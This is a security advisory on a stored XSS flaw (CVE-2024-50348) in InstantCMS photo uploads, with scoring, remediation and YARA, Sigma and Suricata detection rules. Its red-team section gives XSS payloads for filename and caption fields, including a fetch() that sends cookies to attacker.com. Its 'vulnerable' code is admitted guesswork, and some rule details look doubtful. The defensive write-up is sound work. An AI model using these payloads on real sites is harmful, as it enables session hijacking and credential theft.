CVE-2024-50348

Executive Summary

CVE-2024-50348 is a stored Cross-Site Scripting (XSS) vulnerability in InstantCMS, a free and open-source content management system. The flaw exists in the photo upload function within the photo album page, where no input validation is performed on user-supplied data. An authenticated attacker with the ability to upload photos can inject arbitrary JavaScript payloads, which are then stored and executed in the browsers of other users viewing the album. This can lead to session hijacking, credential theft, or defacement. The vulnerability is fixed in InstantCMS version 2.16.3.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs a valid user account with photo upload privileges.
• User Interaction (UI): Required – The victim must view the malicious photo album page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content (e.g., defacement).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for session hijacking make this a significant risk for any InstantCMS deployment.

Deep Dive & Mechanics

The vulnerability resides in the photo upload functionality of the photo album module. When a user uploads a photo, the application processes the file metadata (e.g., filename, EXIF data) or user-provided caption/description without proper sanitization. An attacker can craft a malicious payload, such as <script>alert('XSS')</script>, within the filename or caption field. This payload is stored in the database and later rendered on the photo album page without escaping, causing the browser to execute the script.

The core issue is the lack of input validation and output encoding. The application fails to:

1. Validate that the filename or caption contains only safe characters.
2. Encode the output when displaying the photo metadata in the HTML context.

This allows an attacker to inject arbitrary HTML and JavaScript, leading to stored XSS.

Vulnerable vs. Patched Code

Vulnerable Code (InstantCMS < 2.16.3): The photo upload handler likely processes the filename or caption directly without sanitization. For example:

// Vulnerable: Directly uses user input without sanitization
$filename = $_FILES['photo']['name'];
$caption = $_POST['caption'];
// ... store $filename and $caption in database

When displaying the photo, the code might do:

// Vulnerable: Output without escaping
echo "<img src='$photo_url' alt='$caption'>";

Patched Code (InstantCMS 2.16.3): The fix introduces input validation and output encoding. For example:

// Patched: Sanitize input
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $_FILES['photo']['name']);
$caption = htmlspecialchars($_POST['caption'], ENT_QUOTES, 'UTF-8');
// ... store sanitized values

When displaying:

// Patched: Output with encoding
echo "<img src='" . htmlspecialchars($photo_url, ENT_QUOTES, 'UTF-8') . "' alt='" . htmlspecialchars($caption, ENT_QUOTES, 'UTF-8') . "'>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the InstantCMS instance with permission to upload photos to an album.
• Access to the photo album upload page.

Exploitation Steps:

1. Log in to InstantCMS.
2. Navigate to a photo album and click "Upload Photo".
3. Instead of a legitimate filename, use a payload like: "><script>alert(document.cookie)</script>.jpg
4. Alternatively, inject the payload into the caption field: <img src=x onerror=alert(1)>
5. Submit the upload. The payload is stored.
6. Any user (including admins) viewing the album will trigger the XSS.

Example Payload for Session Hijacking:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual filenames containing HTML/JavaScript characters (e.g., <, >, ", ').
• Look for photo uploads with captions containing script tags or event handlers.
• Review web server logs for requests to photo album pages with suspicious query parameters.

Prevention:

• Apply the patch by upgrading to InstantCMS 2.16.3 or later.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in file uploads.
• Enforce strict input validation on all user-supplied data, especially filenames and captions.
• Use Content Security Policy (CSP) headers to mitigate the impact of XSS.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the InstantCMS server.
  • Unusual Referer headers pointing to photo album pages.
• Host:
  • Photo filenames containing HTML tags or JavaScript code in the database.
  • Photo captions with script elements or event handlers.
• Logs:
  • Web server logs showing requests to /album/upload with suspicious filename or caption parameters.
  • Error logs indicating failed validation attempts.

Detection Engineering

YARA Rule

rule CVE_2024_50348_XSS_Upload {
    meta:
        description = "Detects XSS payloads in InstantCMS photo uploads"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-50348"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2024-50348 InstantCMS Photo Upload XSS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts in InstantCMS photo uploads
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/album/upload'
        cs-uri-query|re:
            - '(<|%3C)script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50348 InstantCMS Photo Upload XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/album/upload"; http_uri; pcre:"/(<|%3C)script|onerror=|onload=|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade InstantCMS to version 2.16.3 or later.
2. Compensating Controls:
   • Implement a WAF rule to block XSS payloads in file uploads.
   • Enforce strict input validation on all user-supplied data.
   • Use Content Security Policy (CSP) headers to restrict script execution.
3. Long-term:
   • Conduct regular security audits of custom code.
   • Implement a secure development lifecycle with input validation and output encoding.
   • Monitor for new CVEs and apply patches promptly.

Valters IT signature: This report is generated for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.